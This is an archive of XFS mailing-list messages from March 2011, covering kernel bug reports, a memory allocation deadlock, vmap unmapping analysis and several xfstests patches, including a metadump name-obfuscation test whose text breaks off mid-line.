xfs@oss.sgi.com, Linux Kernel Mailing List X-ASG-Orig-Subj: Re: 2.6.39-rc0: xfs: kernel BUG at mm/page_alloc.c:738 Subject: Re: 2.6.39-rc0: xfs: kernel BUG at mm/page_alloc.c:738 Message-ID: <20110322084755.GA14129@infradead.org> References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1300783676 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Mon, Mar 21, 2011 at 04:34:46AM +0300, Alexander Beregalov wrote: > Hi > > Steps to reproduce: > run xfs_fsr on xfs device > > arch is x86 UP, kernel is 2.6.38-06507-ga952baa > > kernel BUG at mm/page_alloc.c:738! > invalid opcode: 0000 [#1] > last sysfs file: /sys/devices/system/cpu/cpu0/cpufreq/scaling_setspeed > Modules linked in: hwmon_vid sata_sil i2c_nforce2 I don't really see anything XFS-specific in here. The page allocator is unhappy, and we get there through the generic read code, which just has a tiny xfs wrapper. From BATV+edf2b39a3bdd6c185cb6+2767+infradead.org+hch@bombadil.srs.infradead.org Tue Mar 22 04:57:40 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2M9vSRG011487 for ; Tue, 22 Mar 2011 04:57:40 -0500 X-ASG-Debug-ID: 1300788018-2a6403950000-w1Z2WR X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id ED42E13EC162 for ; Tue, 22 Mar 2011 03:00:18 -0700 (PDT) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id z1YXD3TCXyE93GWX for ; Tue, 22 Mar 2011 03:00:18 -0700 (PDT) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1Q1yNt-0001cT-LO; Tue, 22 Mar 2011 10:00:17 +0000 Date: Tue, 22 Mar 2011 06:00:17 -0400 From: Christoph Hellwig To: Sean Noonan Cc: "'linux-xfs@oss.sgi.com'" , Martin Bligh , Trammell Hudson X-ASG-Orig-Subj: Re: XFS memory allocation deadlock in 2.6.38 Subject: Re: XFS memory allocation deadlock in 2.6.38 Message-ID: <20110322100017.GA3532@infradead.org> References: <081DDE43F61F3D43929A181B477DCA95639B52E8@MSXAOA6.twosigma.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <081DDE43F61F3D43929A181B477DCA95639B52E8@MSXAOA6.twosigma.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1300788028 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean > We started testing with 2.6.38-rc7 and have seen this bug through to the .0 release. This does not appear to be present in 2.6.33, but we have not done testing in between. We have tested with ext4 and do not encounter this bug. Does reverting commit aea1b9532143218f8599ecedbbd6bfbf812385e1 fix the issue for you? From BATV+edf2b39a3bdd6c185cb6+2767+infradead.org+hch@bombadil.srs.infradead.org Tue Mar 22 04:58:13 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.8 required=5.0 tests=BAYES_00,J_CHICKENPOX_72 autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2M9w3vo011517 for ; Tue, 22 Mar 2011 04:58:13 -0500 X-ASG-Debug-ID: 1300788063-2a68038d0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 48E7313F678A for ; Tue, 22 Mar 2011 03:01:03 -0700 (PDT) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id obik49uVo4smuBSK for ; Tue, 22 Mar 2011 03:01:03 -0700 (PDT) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1Q1yOc-0001fh-Kt; Tue, 22 Mar 2011 10:01:02 +0000 Date: Tue, 22 Mar 2011 06:01:02 -0400 From: Christoph Hellwig To: Eric Sandeen Cc: xfs-oss X-ASG-Orig-Subj: Re: [PATCH] xfstests: ensure selinux xattrs don't interfere with quota tests Subject: Re: [PATCH] xfstests: ensure selinux xattrs don't interfere with quota tests Message-ID: <20110322100102.GB3532@infradead.org> References: <4D83B2D0.1030607@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <4D83B2D0.1030607@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1300788063 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Fri, Mar 18, 2011 at 02:30:24PM -0500, Eric Sandeen wrote: > 219 and 235 were failing on ext3 with selinux, because the extra > xattrs upped the quota usage. > > Do the same trick we've used in the past to mount with an selinux > global context when doing quota tests. > > Note the gross hack for remount,ro, though. > > Signed-off-by: Eric Sandeen Looks good to me, Reviewed-by: Christoph Hellwig From hannes@cmpxchg.org Tue Mar 22 07:55:12 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2MCt61L020200 for ; Tue, 22 Mar 2011 07:55:12 -0500 X-ASG-Debug-ID: 1300798685-4174011b0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from zene.cmpxchg.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 5B86B1638598 for ; Tue, 22 Mar 2011 05:58:05 -0700 (PDT) Received: from zene.cmpxchg.org (zene.cmpxchg.org [85.214.230.12]) by cuda.sgi.com with ESMTP id 54OqMQuJjCpiJOan for ; Tue, 22 Mar 2011 05:58:05 -0700 (PDT) Received: from 178-25-97-198-dynip.superkabel.de ([178.25.97.198] helo=chigurh.home.cmpxchg.org) by zene.cmpxchg.org with esmtpsa (TLSv1:AES128-SHA:128) (Exim 4.72) (envelope-from ) id 1Q219a-0007wt-0V; Tue, 22 Mar 2011 12:57:42 +0000 Date: Tue, 22 Mar 2011 13:57:36 +0100 From: Johannes Weiner To: Dave Chinner Cc: Christoph Hellwig , Nick Piggin , Hugh Dickins , Andrew Morton , xfs@oss.sgi.com, linux-mm@kvack.org X-ASG-Orig-Subj: Re: [PATCH] xfs: flush vmap aliases when mapping fails Subject: Re: [PATCH] xfs: flush vmap aliases when mapping fails Message-ID: <20110322125736.GZ2140@cmpxchg.org> References: <1299713876-7747-1-git-send-email-david@fromorbit.com> <20110310073751.GB25374@infradead.org> <20110310224945.GA15097@dastard> <20110321122526.GX2140@cmpxchg.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20110321122526.GX2140@cmpxchg.org> X-Barracuda-Connect: zene.cmpxchg.org[85.214.230.12] X-Barracuda-Start-Time: 1300798686 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.58638 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Mon, Mar 21, 2011 at 01:25:26PM +0100, Johannes Weiner wrote: > On Fri, Mar 11, 2011 at 09:49:45AM +1100, Dave Chinner wrote: > > FWIW, while the VM folk might be paying attention about vmap realted > > stuff, this vmap BUG() also needs triage: > > > > https://bugzilla.kernel.org/show_bug.cgi?id=27002 > > I stared at this bug and the XFS code for a while over the weekend. > What you are doing in there is really scary! > > So xfs_buf_free() does vm_unmap_ram if the buffer has the XBF_MAPPED > flag set and spans multiple pages (b_page_count > 1). > > In xlog_sync() you have that split case where you do XFS_BUF_SET_PTR > on that in-core log's l_xbuf which changes that buffer to, as far as I > could understand, linear kernel memory. Later in xlog_dealloc_log you > call xfs_buf_free() on that buffer. > > I was unable to determine if this can ever be more than one page in > the buffer for the split case. But if this is the case, you end up > invoking vm_unmap_ram() on something you never vm_map_ram'd, which > could explain why this triggers the BUG_ON() for the dirty area map. Blech, that's bogus, please pardon my rashness. I looked over the vmalloc side several times but could not spot anything that would explain this crash. However, when you switched from vunmap to vm_unmap_ram you had to add the area size parameter. I am guessing that the base address was always correct, vunmap would have caught an error with it. But the new size argument could be too large and crash the kernel when it would reach into the next area that had already been freed (and marked in the dirty bitmap). I have given up on verifying that what xlog_sync() does to l_xbuf is okay. It would be good if you could confirm that it leaves the buffer in a state so that its b_addr - b_offset, b_page_count are correctly describing the exact vmap area. Hannes From Sean.Noonan@twosigma.com Tue Mar 22 08:50:51 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2MDokxr022982 for ; Tue, 22 Mar 2011 08:50:51 -0500 X-ASG-Debug-ID: 1300802015-11d9021d0000-w1Z2WR X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mx3.twosigma.com (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with SMTP id 0669E369742 for ; Tue, 22 Mar 2011 06:53:35 -0700 (PDT) Received: from mx3.twosigma.com (mx3.twosigma.com [208.77.213.34]) by cuda.sgi.com with SMTP id GzhtUALBKTmVyyk7 for ; Tue, 22 Mar 2011 06:53:35 -0700 (PDT) Received: by mx3.twosigma.com (Postfix, from userid 108) id 61A19666C4; Tue, 22 Mar 2011 13:53:34 +0000 (UTC) Received: from msxaoa3.twosigma.com (nfw1-1-dmz.twosigma.com [208.77.213.62]) by mx3.twosigma.com (Postfix) with ESMTP id 9B35966629; Tue, 22 Mar 2011 13:53:33 +0000 (UTC) Received: from pfxnyc1.twosigma.com (192.168.30.150) by msxaoa3.twosigma.com (192.168.200.135) with Microsoft SMTP Server (TLS) id 8.1.340.0; Tue, 22 Mar 2011 09:53:33 -0400 Received: from msxaoa6.twosigma.com ([fe80:0000:0000:0000:5d02:8f37:242.212.227.132]) by pfxnyc1.twosigma.com ([192.168.30.150]) with mapi; Tue, 22 Mar 2011 09:53:33 -0400 From: Sean Noonan To: "'Christoph Hellwig'" CC: "'linux-xfs@oss.sgi.com'" , Martin Bligh , Trammell Hudson , Stephen Degler , Christos Zoulas Date: Tue, 22 Mar 2011 09:53:32 -0400 X-ASG-Orig-Subj: RE: XFS memory allocation deadlock in 2.6.38 Subject: RE: XFS memory allocation deadlock in 2.6.38 Thread-Topic: XFS memory allocation deadlock in 2.6.38 Thread-Index: Acvod/YLYcZN/knjQt6ixCf25YEgkAAFVM0w Message-ID: <081DDE43F61F3D43929A181B477DCA95639B5308@MSXAOA6.twosigma.com> References: <081DDE43F61F3D43929A181B477DCA95639B52E8@MSXAOA6.twosigma.com> <20110322100017.GA3532@infradead.org> In-Reply-To: <20110322100017.GA3532@infradead.org> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 X-Barracuda-Connect: mx3.twosigma.com[208.77.213.34] X-Barracuda-Start-Time: 1300802026 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -1.79 X-Barracuda-Spam-Status: No, SCORE=-1.79 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests=RCVD_ILLEGAL_IP X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.58643 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.23 RCVD_ILLEGAL_IP Received: contains illegal IP address X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean No, reverting this commit did not fix the issue. We happened to have 2.6.36.1 and 2.6.37.2 available and tested against both= of those. I was not able to reproduce the bug with either version. Sean -----Original Message----- From: Christoph Hellwig [mailto:hch@infradead.org]=20 Sent: Tuesday, March 22, 2011 06:00 To: Sean Noonan Cc: 'linux-xfs@oss.sgi.com'; Martin Bligh; Trammell Hudson Subject: Re: XFS memory allocation deadlock in 2.6.38 > We started testing with 2.6.38-rc7 and have seen this bug through to the = .0 release. This does not appear to be present in 2.6.33, but we have not = done testing in between. We have tested with ext4 and do not encounter thi= s bug. Does reverting commit aea1b9532143218f8599ecedbbd6bfbf812385e1 fix the issue for you? From aelder@sgi.com Tue Mar 22 12:34:10 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.8 required=5.0 tests=BAYES_00,J_CHICKENPOX_64 autolearn=no version=3.4.0-r929098 Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2MHY5Zk033715 for ; Tue, 22 Mar 2011 12:34:10 -0500 Received: from cf--amer001e--3.americas.sgi.com (cf--amer001e--3.americas.sgi.com [137.38.100.5]) by relay1.corp.sgi.com (Postfix) with ESMTP id 2CFA98F80C6 for ; Tue, 22 Mar 2011 10:37:06 -0700 (PDT) Received: from [127.0.0.1] ([128.162.232.50]) by cf--amer001e--3.americas.sgi.com with Microsoft SMTPSVC(6.0.3790.3959); Tue, 22 Mar 2011 12:35:48 -0500 Subject: Re: [PATCH, v2] xfstests: drop "Mount point match" from 028 and 047 golden output From: Alex Elder Reply-To: aelder@sgi.com To: xfs@oss.sgi.com In-Reply-To: <201103020449.p224nRbO024369@stout.americas.sgi.com> References: <201103020449.p224nRbO024369@stout.americas.sgi.com> Content-Type: text/plain; charset="UTF-8" Date: Tue, 22 Mar 2011 12:35:48 -0500 Message-ID: <1300815348.2875.11.camel@doink> Mime-Version: 1.0 X-Mailer: Evolution 2.30.3 Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 22 Mar 2011 17:35:48.0967 (UTC) FILETIME=[952DFF70:01CBE8B7] X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Ping? On Tue, 2011-03-01 at 22:49 -0600, Alex Elder wrote: > Bill's latest update to xfsdump dropped a line of output that served > no real purpose. This change updates the golden output for the two > tests that included that line of output. > > Updated to filter out that line from dump output also, so old > versions of the code will still produce the same output (suggested > by Dave Chinner). > > Signed-off-by: Alex Elder > > --- > 028.out | 1 - > 047.out | 1 - > common.dump | 1 + > 3 files changed, 1 insertion(+), 2 deletions(-) > > Index: b/028.out > =================================================================== > --- a/028.out > +++ b/028.out > @@ -225,7 +225,6 @@ Processing file /var/xfsdump/inventory/U > /var/xfsdump/inventory/UUID.InvIndex > Checking access for > /var/xfsdump/inventory/UUID.StObj > - Mount point match > Session 0: HOSTNAME:SCRATCH_MNT > ------------------------------------------------- > Pruning this matching entry: > Index: b/047.out > =================================================================== > --- a/047.out > +++ b/047.out > @@ -225,7 +225,6 @@ Processing file /var/xfsdump/inventory/U > /var/xfsdump/inventory/UUID.InvIndex > Checking access for > /var/xfsdump/inventory/UUID.StObj > - Mount point match > Session 0: HOSTNAME:SCRATCH_MNT > ------------------------------------------------- > An entry matching the mount point/time is : > Index: b/common.dump > =================================================================== > --- a/common.dump > +++ b/common.dump > @@ -814,6 +814,7 @@ _dump_filter_main() > -e '/\/dev\/tty/d' \ > -e '/inventory session uuid/d' \ > -e '/ - Running single-threaded/d' \ > + -e '/Mount point match/d' \ > -e '/^.*I\/O metrics: .*$/d' \ > -e 's/1048576/BLOCKSZ/' \ > -e 's/2097152/BLOCKSZ/' \ From aelder@sgi.com Tue Mar 22 12:34:11 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2MHY597033716 for ; Tue, 22 Mar 2011 12:34:10 -0500 Received: from cf--amer001e--3.americas.sgi.com (cf--amer001e--3.americas.sgi.com [137.38.100.5]) by relay1.corp.sgi.com (Postfix) with ESMTP id 42C878F80C7 for ; Tue, 22 Mar 2011 10:37:06 -0700 (PDT) Received: from [127.0.0.1] ([128.162.232.50]) by cf--amer001e--3.americas.sgi.com with Microsoft SMTPSVC(6.0.3790.3959); Tue, 22 Mar 2011 12:35:50 -0500 Subject: Re: [PATCH 0/5] xfstests: eliminate build warnings in the "dmapi" subtree From: Alex Elder Reply-To: aelder@sgi.com To: xfs@oss.sgi.com In-Reply-To: <201103041937.p24Jbpgh004834@stout.americas.sgi.com> References: <201103041937.p24Jbpgh004834@stout.americas.sgi.com> Content-Type: text/plain; charset="UTF-8" Date: Tue, 22 Mar 2011 12:35:50 -0500 Message-ID: <1300815350.2875.12.camel@doink> Mime-Version: 1.0 X-Mailer: Evolution 2.30.3 Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 22 Mar 2011 17:35:50.0764 (UTC) FILETIME=[964032C0:01CBE8B7] X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Ping? On Fri, 2011-03-04 at 13:37 -0600, Alex Elder wrote: > Now that we're building the "dmapi" subtree the same way as the rest > of the code in "xfstests", a lot of warnings are showing up in the > build. This series eliminates them all, at least for three build > architectures I have used so far (i386, x86_64, and ia64). > > Because of the sheer number of changes, I've broken it into > a small series, each focused on files under a certain portion > of the tree under "dmapi". > > Below are the types of warnings, and how they were generally fixed. > In all cases I scanned the affected code to be reasonably sure the > warning was harmless and the fix did not obscure a real problem. > - Variables possibly used before set. Fixed by initializing such > variables to 0 or NULL, or some appropriate symbolic value if > available. > - "Bald" assignments used as conditional values; GCC suggests adding > an extra set of parentheses. Fixed by pulling the assignments out > as a previous line of code, and using the assigned value alone in > the conditional. > - Variables used in scanf() functions having types that differ from > what the format string indicates. Fixed by creating and using new > variables of the type needed for scanf(), and then assigning the > result to the original variable with a cast. > - Variables used in printf() functions having types that differ from > what the format string indicates. Fixed by casting the variable > to the type indicated in the format string. In a few cases I > changed "%lld" formats to "%llu" to be consistent with other usage > for printing the same variable. (But I did not do this > consistently.) > - A lot of these cases involved using "%zd" in place of just > "%d" for printing size_t objects. > - In one case, replaced a call to tmpnam() with an equivalent call > to mkstmp() using a local variable. > > Patch 1 covers files under: > dmapi/src/common/cmd/ > dmapi/src/common/lib/ > dmapi/src/sample_hsm/ > dmapi/src/simple/ > > Patch 2 covers: > dmapi/src/suite1/cmd/ (part 1) > > Patch 3 covers: > dmapi/src/suite1/cmd/ (part 2) > > Patch 4 covers: > dmapi/src/suite1/cmd/ (part 3) > > Patch 5 covers: > dmapi/src/suite2/ > > -Alex From aelder@sgi.com Tue Mar 22 12:34:10 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.4 required=5.0 tests=BAYES_00,MIME_BAD_LINEBREAK autolearn=no version=3.4.0-r929098 Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2MHY5AC033714 for ; Tue, 22 Mar 2011 12:34:10 -0500 Received: from cf--amer001e--3.americas.sgi.com (cf--amer001e--3.americas.sgi.com [137.38.100.5]) by relay1.corp.sgi.com (Postfix) with ESMTP id 1CCDE8F80BD for ; Tue, 22 Mar 2011 10:37:06 -0700 (PDT) Received: from [127.0.0.1] ([128.162.232.50]) by cf--amer001e--3.americas.sgi.com with Microsoft SMTPSVC(6.0.3790.3959); Tue, 22 Mar 2011 12:35:46 -0500 Subject: Re: [PATCH] xfstests: 253: test the metadump functionality of xfs_db From: Alex Elder Reply-To: aelder@sgi.com To: xfs@oss.sgi.com In-Reply-To: <1298412790.1960.80.camel@doink> References: <201102182026.p1IKQWRP026319@stout.americas.sgi.com> <1298412790.1960.80.camel@doink> Content-Type: text/plain; charset="UTF-8" Date: Tue, 22 Mar 2011 12:35:46 -0500 Message-ID: <1300815346.2875.10.camel@doink> Mime-Version: 1.0 X-Mailer: Evolution 2.30.3 Content-Transfer-Encoding: quoted-printable X-OriginalArrivalTime: 22 Mar 2011 17:35:46.0811 (UTC) FILETIME=[93E504B0:01CBE8B7] X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Tue, 2011-02-22 at 16:13 -0600, Alex Elder wrote: > (I'm not sure why, but this ended up as a strange attachment the > first time, so I'm re-sending it.) Ping? >=20 > This patch creates a test that exercises xfs_metadump, with a focus > on its obfuscation of names. It was created to verify fixes that > avoided a hang condition when running "xfs_metadump" on a directory > containing files having particular bit patterns in their name. > Arkadiusz Mi=C3=85=C2=9Bkiewicz first reported seeing this while attempti= ng > to create a metadump for a filesystem containing a file named > "R\323\257NE". >=20 > For now this scrikpt checks the following (using only filenames, not > attributes): > - that short names (4 characters or less) aren't obfuscated > - that long names get obfuscated > - that (long) directory names get obfuscated > - that names that are known to produce bit patterns that lead > to invalid path components still generate obfuscated names > (this could previously lead to a hang) > - that many names of the same length can still generate new > obfuscated names (this could previously lead to a hang) > - that nether " neither "lost+found" nor orphaned files stored in it > get obfuscated >=20 > Right now there are two sets of "ls" commands executed (one before > and one after obfuscation). This produces repeatable results for > me on one filesystem, but on a different filesystem I expect the > inode numbers to change (and random number generation might change > the output too). I'm interested in suggestions on how to filter > the output so the results can be verified. If nothing else, the > test serves its purpose if I simply comment out those commands, > and will do that if there's not a better suggstion. >=20 > Signed-off-by: Alex Elder >=20 > --- > 253 | 192 > ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ > 253.out | 145 ++++++++++++++++++++++++++++++++++++++++++++++++ > group | 1=20 > 3 files changed, 338 insertions(+) >=20 > Index: b/253 > =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D > --- /dev/null > +++ b/253 > @@ -0,0 +1,192 @@ > +#! /bin/bash > +# FS QA Test No. 253 > +# > +# Test xfs_db metadump functionality. > +# > +# This test was created to verify fixes for problems where metadump > +# would never complete due to an inability to find a suitable > +# obfuscated name to use. It also verifies a few other things, > +# including ensuring the "lost+found" directory and orphaned files > +# in it do not get obfuscated. > +# > +# This test also creates a number of files that are effectively > +# duplicates of existing files; this can happen in certain rare > +# instances where the obfuscation process has produced a filename > +# that is already in use (and no other name is available to use). > +# > +#----------------------------------------------------------------------- > +# Copyright (c) 2011 SGI. All Rights Reserved. > +# > +# This program is free software; you can redistribute it and/or > +# modify it under the terms of the GNU General Public License as > +# published by the Free Software Foundation. > +# > +# This program is distributed in the hope that it would be useful, > +# but WITHOUT ANY WARRANTY; without even the implied warranty of > +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the > +# GNU General Public License for more details. > +# > +# You should have received a copy of the GNU General Public License > +# along with this program; if not, write the Free Software Foundation, > +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA > +#----------------------------------------------------------------------- > +# > +# creator > +owner=3Daelder@sgi.com > + > +seq=3D`basename $0` > +echo "QA output created by $seq" > + > +here=3D`pwd` > +tmp=3D/tmp/$$ > +status=3D1 # failure is the default! > +trap "_cleanup; exit \$status" 0 1 2 3 15 > + > +_cleanup() > +{ > + cd / > + rm -f $tmp.* > + rm -rf "${OUTPUT_DIR}" > + rm -f "${METADUMP_FILE}" > +} > + > +# get standard environment, filters and checks > +. ./common.rc > +. ./common.filter > + > +_require_scratch > + > +# real QA test starts here > + > +OUTPUT_DIR=3D"${SCRATCH_MNT}/test_${seq}" > +METADUMP_FILE=3D"${TEST_MNT}/${seq}_metadump" > +ORPHANAGE=3D"lost+found" > + > +_supported_fs xfs > +_supported_os Linux > + > +function create_file() { > + [ $# -eq 1 ] || return 1 > + touch $(printf "$@") > +} > + > +_scratch_mkfs >/dev/null 2>&1 > +_scratch_mount > + > +# Initialize and mount the scratch filesystem, then create a bunch > +# of files that exercise the original problem. > +# > +# The problem arose when a file name produced a hash that contained > +# either 0x00 (string terminator) or 0x27 ('/' character) in a > +# spot used to determine a character in an obfuscated name. This > +# occurred in one of 5 spots at the end of the name, at position > +# (last-4), (last-3), (last-2), (last-1), or (last). > + > +rm -f "${METADUMP_FILE}" > + > +mkdir -p "${OUTPUT_DIR}" > + > +cd "${OUTPUT_DIR}" > +# Start out with some basic test files > +create_file 'abcde' # hash 0x1c58f263 ("normal" name) > + > +create_file 'f' # hash 0x00000066 (1-byte name) > +create_file 'gh' # hash 0x000033e8 (2-byte name) > +create_file 'ijk' # hash 0x001a756b (3-byte name) > +create_file 'lmno' # hash 0x0d9b776f (4-byte name) > +create_file 'pqrstu' # hash 0x1e5cf9f2 (6-byte name) > +create_file 'abcdefghijklmnopqrstuvwxyz' # a most remarkable word > (0x55004ae3) > + > +# Create a short directory name; it won't be obfuscated. Populate > +# it with some longer named-files. The first part of the obfuscated > +# filenames should use printable characters. > +mkdir foo > +create_file 'foo/longer_file_name_1' # hash 0xe83634ec > +create_file 'foo/longer_file_name_2' # hash 0xe83634ef > +create_file 'foo/longer_file_name_3' # hash 0xe83634ee > + > +# Now create a longer directory name > +mkdir longer_directory_name > +create_file 'longer_directory_name/f1' # directory hash 0x9c7accdd > +create_file 'longer_directory_name/f2' # filenames are short, no hash > +create_file 'longer_directory_name/f3' > + > +# The problematic name originally reported by Arkadiusz Mi=C3=85=C2=9Bki= ewicz > + > +create_file 'R\323\257NE' # hash 0x3a4be740, forces (last-3) =3D 0x2f > + > +# Other name that force a 0x00 byte > +create_file 'Pbcde' # hash 0x0c58f260, forces (last-4) =3D 0x00 > +create_file 'a\001\203de' # hash 0x1000f263, forces (last-3) =3D 0x00 > +create_file 'ab\001\344e' # hash 0x1c403263, forces (last-2) =3D 0x00 > +create_file 'abc\200e' # hash 0x1c588063, forces (last-1) =3D 0x00 > +create_file 'abcd\006' # hash 0x1c58f200, forces (last) =3D 0x00 > + > +# Names that force a 0x2f byte; note no name will ever force (last-4) = =3D > 0x2f > +create_file 'a.\343de' # hash 0x15f8f263 forces (last-3) =3D 0x00 > +create_file 'ac\257de' # hash 0x1c4bf263, forces (last-2) =3D 0x2f > +create_file 'abe\257e' # hash 0x1c5917e3, forces (last-1) =3D 0x2f > +create_file 'abcd)' # hash 0x1c58f22f, forces (last) =3D 0x2f > + > +# The following names are possible results of obfuscating the name > +# "abcde". Previously, xfs_metadump could get hung up trying to > +# obfuscate names when too many of the same length had the same hash > +# value. > +create_file '!bcda' # essentially a dup of 'abcde' > +create_file 'Abcdg' # essentially a dup of 'abcde' > +create_file 'qbcdd' # essentially a dup of 'abcde' > +create_file '1bcd`' # essentially a dup of 'abcde' > +create_file 'Qbcdf' # essentially a dup of 'abcde' > +create_file '\001bcdc' # essentially 